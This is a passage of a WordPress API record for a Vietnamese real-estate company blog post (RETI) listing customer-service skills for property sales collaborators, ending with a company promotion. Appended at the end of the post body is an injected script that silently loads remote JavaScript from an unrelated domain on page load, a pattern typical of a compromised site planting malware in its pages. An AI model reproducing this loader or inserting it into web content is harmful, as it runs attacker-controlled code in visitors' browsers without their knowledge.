t\u00ecm ra gi\u1ea3i ph\u00e1p ph\u00f9 h\u1ee3p cho kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hay_dung_ngon_ngu_tich_cuc\"><\/span>H\u00e3y d\u00f9ng ng\u00f4n ng\u1eef t\u00edch c\u1ef1c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>B\u1ea5t k\u1ef3 khi n\u00e0o b\u1ea1n nh\u1ea5c m\u00e1y l\u00ean n\u00f3i chuy\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng, h\u00e3y c\u00e2n nh\u1eafc ng\u00f4n ng\u1eef b\u1ea1n s\u1eed d\u1ee5ng v\u00e0 t\u00ednh hi\u1ec7u qu\u1ea3 c\u1ee7a n\u00f3 trong vi\u1ec7c truy\u1ec1n t\u1ea3i th\u00f4ng \u0111i\u1ec7p b\u1ea1n mu\u1ed1n chia s\u1ebb. S\u1eed d\u1ee5ng ng\u00f4n ng\u1eef t\u00edch c\u1ef1c \u0111\u1ec3 \u0111\u1ed9ng vi\u00ean v\u00e0 thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng l\u00e0 c\u00e1ch t\u1ed1t nh\u1ea5t \u0111\u1ec3 ti\u1ebfp c\u1eadn v\u00e0 khuy\u1ebfn kh\u00edch h\u1ecd th\u1ef1c hi\u1ec7n mua h\u00e0ng, ch\u1ea5p nh\u1eadn gi\u1ea3i ph\u00e1p ho\u1eb7c tham gia v\u00e0o nh\u1eefng d\u1ecbch v\u1ee5 b\u1ea1n \u0111ang tr\u00ecnh b\u00e0y.<\/p>\n\n\n\n<p>H\u00e3y h\u00e0o h\u1ee9ng, h\u1ecfi th\u0103m kh\u00e1ch h\u00e0ng v\u1ec1 c\u00f4ng vi\u1ec7c c\u1ee7a h\u1ecd v\u00e0 k\u1ebft h\u1ee3p d\u00f9ng nh\u1eefng t\u1eeb nh\u01b0 \u201c\u1ea0\u201d, \u201cC\u1ea3m \u01a1n\u201d, \u201cAnh\u201d hay \u201cCh\u1ecb\u201d \u0111\u1ec3 th\u1ec3 hi\u1ec7n s\u1ef1 t\u00f4n tr\u1ecdng t\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 t\u1ea1o ra m\u1ed9t gi\u1ecdng \u0111i\u1ec7u t\u00edch c\u1ef1c.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Co_ky_nang_tin_hoc\"><\/span>C\u00f3 k\u1ef9 n\u0103ng tin h\u1ecdc<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>C\u00f3 k\u1ef9 n\u0103ng tin h\u1ecdc s\u1ebd gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng trao \u0111\u1ed5i m\u1ed9t c\u00e1ch nhanh ch\u00f3ng v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 nh\u1eefng \u0111\u1ed3ng nghi\u1ec7p \u0111ang l\u00e0m vi\u1ec7c c\u00f9ng b\u1ea1n. \u0110\u01a1n c\u1eed nh\u01b0 vi\u1ec7c h\u1ecdc c\u00e1ch \u0111\u00e1nh m\u00e1y nhanh c\u0169ng s\u1ebd gi\u00fap ti\u1ebft ki\u1ec7m th\u1eddi gian \u0111\u1ec3 t\u00ecm ki\u1ebfm nh\u1eefng gi\u1ea3i ph\u00e1p cho kh\u00e1ch h\u00e0ng. Nh\u1eadp t\u00ean v\u00e0 th\u00f4ng tin c\u1ee7a kh\u00e1ch h\u00e0ng nhanh ch\u00f3ng gi\u00fap ti\u1ebft ki\u1ec7m th\u1eddi gian trong t\u1ea5t c\u1ea3 c\u00e1c cu\u1ed9c g\u1ecdi, cho ph\u00e9p b\u1ea1n c\u00f3 th\u00eam th\u1eddi gian d\u00e0nh cho nh\u1eefng kh\u00e1ch h\u00e0ng kh\u00e1c \u0111\u1ec3 t\u1ea1o ra nh\u1eefng giao d\u1ecbch ti\u1ec1m n\u0103ng. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-1024x683.jpg\" alt=\"\" class=\"wp-image-28917 lazyload\" width=\"1024\" height=\"683\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-1024x683.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-768x512.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-1536x1024.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-2048x1365.jpg 2048w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-696x464.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-1068x712.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/07\/z2639823814783_6e6bea629be2d53d88cbec4d1ea5f59e-1-1920x1280.jpg 1920w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/683;\" \/><figcaption>K\u1ef9 n\u0103ng tin h\u1ecdc s\u1ebd gi\u00fap \u00edch cho b\u1ea1n r\u1ea5t nhi\u1ec1u trong th\u1eddi \u0111\u1ea1i c\u00f4ng ngh\u1ec7 khoa h\u1ecdc ph\u00e1t tri\u1ec3n nh\u01b0 hi\u1ec7n nay<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Lam_them_nhung_viec_nho_nhung_huu_ich\"><\/span>L\u00e0m th\u00eam nh\u1eefng vi\u1ec7c nh\u1ecf nh\u01b0ng h\u1eefu \u00edch<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>H\u00e3y l\u00e0m th\u00eam nh\u1eefng vi\u1ec7c nh\u1ecf nh\u01b0ng h\u1eefu \u00edch cho kh\u00e1ch h\u00e0ng b\u1ea5t c\u1ee9 l\u00fac n\u00e0o b\u1ea1n th\u1ef1c hi\u1ec7n d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng \u0111\u1ec3 n\u00e2ng cao danh ti\u1ebfng, \u0111\u1ed3ng th\u1eddi gi\u1eef ch\u00e2n nh\u1eefng kh\u00e1ch h\u00e0ng trung th\u00e0nh, nh\u1eefng ng\u01b0\u1eddi ch\u1ec9 mu\u1ed1n l\u00e0m vi\u1ec7c v\u1edbi b\u1ea1n trong t\u01b0\u01a1ng lai. B\u1ea1n c\u00e0ng t\u00edch c\u1ef1c tham gia v\u00e0o nh\u1eefng v\u1ea5n \u0111\u1ec1 ho\u1eb7c kh\u00f3 kh\u0103n h\u1ecd \u0111ang g\u1eb7p ph\u1ea3i, th\u00ec c\u00e0ng nhi\u1ec1u kh\u1ea3 n\u0103ng h\u1ecd tham gia cu\u1ed9c tr\u00f2 chuy\u1ec7n th\u1ef1c s\u1ef1 v\u1edbi b\u1ea1n, ngay c\u1ea3 khi b\u1ea1n \u0111ang c\u1ed1 g\u1eafng b\u00e1n h\u00e0ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hoc_hoi_tu_nhung_sai_lam\"><\/span>H\u1ecdc h\u1ecfi t\u1eeb nh\u1eefng sai l\u1ea7m<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>H\u00e3y h\u1ecdc h\u1ecfi t\u1eeb nh\u1eefng sai l\u1ea7m b\u1ea5t c\u1ee9 l\u00fac n\u00e0o b\u1ea1n g\u1eb7p ph\u1ea3i. H\u1ecdc t\u1eeb nh\u1eefng sai l\u1ea7m s\u1ebd gi\u00fap b\u1ea1n r\u00fat kinh nghi\u1ec7m nhanh h\u01a1n, m\u1ea1nh m\u1ebd h\u01a1n v\u00e0 t\u1eadp trung h\u01a1n v\u00e0o ho\u00e0n th\u00e0nh nhi\u1ec7m v\u1ee5 v\u00e0 m\u1ee5c ti\u00eau theo c\u00e1ch l\u00e0m \u0111\u00fang trong t\u01b0\u01a1ng lai. D\u00e0nh th\u1eddi gian \u0111\u1ec3 suy ngh\u0129 v\u1ec1 b\u1ea5t k\u1ef3 sai l\u1ea7m b\u1ea1n \u0111\u00e3 m\u1eafc ph\u1ea3i trong d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t c\u00e1ch \u0111\u1ec3 b\u1ea1n c\u00f3 th\u1ec3 hi\u1ec3u s\u00e2u s\u1eafc c\u00e1ch qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng th\u00edch h\u1ee3p v\u00e0 giao ti\u1ebfp hi\u1ec7u qu\u1ea3 m\u1ecdi l\u00fac.<\/p>\n\n\n\n<p>B\u1ea1n c\u00f3 th\u1ec3 vi\u1ebft ra m\u1ed9t danh s\u00e1ch c\u00e1c l\u1ed7i ho\u1eb7c c\u00e1c v\u1ea5n \u0111\u1ec1 b\u1ea1n g\u1eb7p ph\u1ea3i khi n\u00f3i chuy\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng, cho d\u00f9 \u0111\u00f3 l\u00e0 ph\u1ea7n gi\u1edbi thi\u1ec7u, ph\u1ea7n n\u1ed9i dung ch\u00ednh ho\u1eb7c khi k\u1ebft th\u00fac b\u00e1n h\u00e0ng. B\u1ea1n c\u00e0ng hi\u1ec3u v\u1ec1 c\u00e1c l\u0129nh v\u1ef1c b\u1ea1n \u0111ang g\u1eb7p kh\u00f3 kh\u0103n, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng t\u1ea1o ra nh\u1eefng thay \u0111\u1ed5i c\u1ea7n thi\u1ebft \u0111\u1ec3 c\u1ea3i thi\u1ec7n c\u00e1c k\u1ef9 n\u0103ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hay_la_mot_nha_lanh_dao\"><\/span>H\u00e3y l\u00e0 m\u1ed9t nh\u00e0 l\u00e3nh \u0111\u1ea1o<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Tr\u1edf th\u00e0nh m\u1ed9t ng\u01b0\u1eddi l\u00e3nh \u0111\u1ea1o l\u00e0 m\u1ed9t c\u00e1ch \u0111\u1ec3 \u0111\u00f3n \u0111\u1ea7u trong l\u0129nh v\u1ef1c d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. Th\u1ec3 hi\u1ec7n kh\u1ea3 n\u0103ng cung c\u1ea5p gi\u1ea3i ph\u00e1p m\u1edbi cho kh\u00e1ch h\u00e0ng d\u1ef1a tr\u00ean l\u1ee3i th\u1ebf trong vai tr\u00f2 m\u1ed9t \u0111\u1ea1i di\u1ec7n, n\u1eafm v\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 t\u1ed5 ch\u1ee9c b\u1ea1n l\u00e0m vi\u1ec7c s\u1ebd ch\u1ee9ng minh kh\u1ea3 n\u0103ng l\u00e3nh \u0111\u1ea1o v\u00e0 l\u00e0m t\u0103ng t\u00ednh chuy\u00ean nghi\u1ec7p c\u1ee7a b\u1ea1n. Ngo\u00e0i ra, vi\u1ec7c d\u1eabn d\u1eaft nh\u1eefng \u0111\u1ed3ng nghi\u1ec7p kh\u00e1c t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c c\u0169ng c\u00f3 th\u1ec3 gi\u00fap b\u1ea1n c\u1ea3i thi\u1ec7n k\u1ef9 n\u0103ng ph\u1ee5c v\u1ee5 kh\u00e1ch h\u00e0ng, b\u1ea5t k\u1ec3 r\u1eb1ng b\u1ea1n ch\u1ec9 m\u1edbi b\u1eaft \u0111\u1ea7u, hay \u0111\u00e3 l\u00e0m vi\u1ec7c trong ng\u00e0nh n\u00e0y trong nhi\u1ec1u n\u0103m.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ngon_ngu_co_the_tot\"><\/span>Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 t\u1ed1t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>M\u1eb7c d\u00f9 b\u1ea1n d\u00e0nh ph\u1ea7n l\u1edbn th\u1eddi gian trao \u0111\u1ed5i tr\u1ef1c tuy\u1ebfn ho\u1eb7c qua \u0111i\u1ec7n tho\u1ea1i v\u1edbi kh\u00e1ch h\u00e0ng, vi\u1ec7c c\u00f3 ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 t\u1ed1t l\u00e0 kh\u00e1 quan tr\u1ecdng. B\u1ea1n c\u00f3 th\u1ec3 \u00e1p d\u1ee5ng ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 n\u00e0y ngay c\u1ea3 khi b\u1ea1n kh\u00f4ng g\u1eb7p tr\u1ef1c ti\u1ebfp kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p>M\u1ec9m c\u01b0\u1eddi th\u01b0\u1eddng xuy\u00ean, b\u00e0y t\u1ecf ni\u1ec1m h\u1ea1nh ph\u00fac v\u00e0 c\u01b0\u1eddi th\u00e0nh ti\u1ebfng qua \u0111i\u1ec7n tho\u1ea1i c\u00f3 th\u1ec3 gi\u00fap n\u00e2ng cao tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng. B\u1edfi l\u1ebd h\u1ecd d\u1ec5 d\u00e0ng nh\u1eadn ra m\u1ed9t ng\u01b0\u1eddi \u0111ang m\u1ec9m c\u01b0\u1eddi,ngay c\u1ea3 khi kh\u00f4ng g\u1eb7p tr\u1ef1c ti\u1ebfp. Bi\u1ebft c\u00e1ch k\u1ebft h\u1ee3p c\u00e1c k\u1ef9 n\u0103ng ph\u1ee5c v\u1ee5 kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 gi\u00fap b\u1ea1n d\u1eabn \u0111\u1ea7u t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c, \u0111\u1ed3ng th\u1eddi s\u1ebd t\u1ea1o ra danh ti\u1ebfng t\u1ed1t h\u01a1n v\u1edbi c\u00e1c kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n. <\/p>\n\n\n\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 25 k\u1ef9 n\u0103ng gi\u00fap cho CTV B\u0110S c\u00f3 th\u1ec3 th\u00e0nh th\u00e0nh c\u00f4ng, b\u1ea1n \u0111\u00e3 s\u1eb5n s\u00e0ng ki\u1ebfm thu nh\u1eadp \u201cKH\u1ee6NG\u201d ch\u01b0a? \u0110\u0103ng k\u00fd ngay \u0111\u1ec3 tr\u1edf th\u00e0nh CTV c\u1ee7a\u00a0<a href=\"https:\/\/reti.vn\/blog\" target=\"_blank\" rel=\"noreferrer noopener\">RETI<\/a>\u00a0nh\u00e9! T\u00ecm hi\u1ec3u th\u00eam t\u1ea1i\u00a0<a href=\"http:\/\/agent.reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">agent.reti.vn<\/a>.<\/p>\n\n\n\n<p>T\u00ecm hi\u1ec3u th\u00eam: <a href=\"https:\/\/reti.vn\/blog\/lam-moi-gioi-nha-dat-can-nhung-gi-cach-moi-gioi-bds\/\" target=\"_blank\" rel=\"noreferrer noopener\">L\u00e0m m\u00f4i gi\u1edbi nh\u00e0 \u0111\u1ea5t c\u1ea7n nh\u1eefng g\u00ec &#8211; c\u00e1ch m\u00f4i gi\u1edbi B\u0110S hi\u1ec7u qu\u1ea3 b\u1ea1n n\u00ean bi\u1ebft<\/a><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p> <\/p>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Ng\u00e0y nay, c\u1ed9ng t\u00e1c vi\u00ean b\u1ea5t \u0111\u1ed9ng s\u1ea3n (CTV B\u0110S) \u0111ang l\u00e0 ngh\u1ec1 nh\u1eadn \u0111\u01b0\u1ee3c nhi\u1ec1u s\u1ef1 quan t\u00e2m c\u1ee7a nhi\u1ec1u ng\u01b0\u1eddi b\u1edfi ngu\u1ed3n thu nh\u1eadp h\u1ea5p d\u1eabn. Nh\u01b0ng kh\u00f4ng ph\u1ea3i ai c\u0169ng c\u00f3 th\u1ec3 th\u00e0nh c\u00f4ng v\u1edbi ngh\u1ec1 n\u00e0y. Trong b\u00e0i bi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, RETI s\u1ebd chia s\u1ebb cho b\u1ea1n \u0111\u1ecdc nh\u1eefng k\u1ef9 n\u0103ng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":30212,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[36],"tags":[],"class_list":{"0":"post-30060","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-cam-nang-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/moi-gioi-bat-dong-san-kiem-bao-nhieu-tien-1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30060","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=30060"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30060\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/30212"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=30060"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=30060"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=30060"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}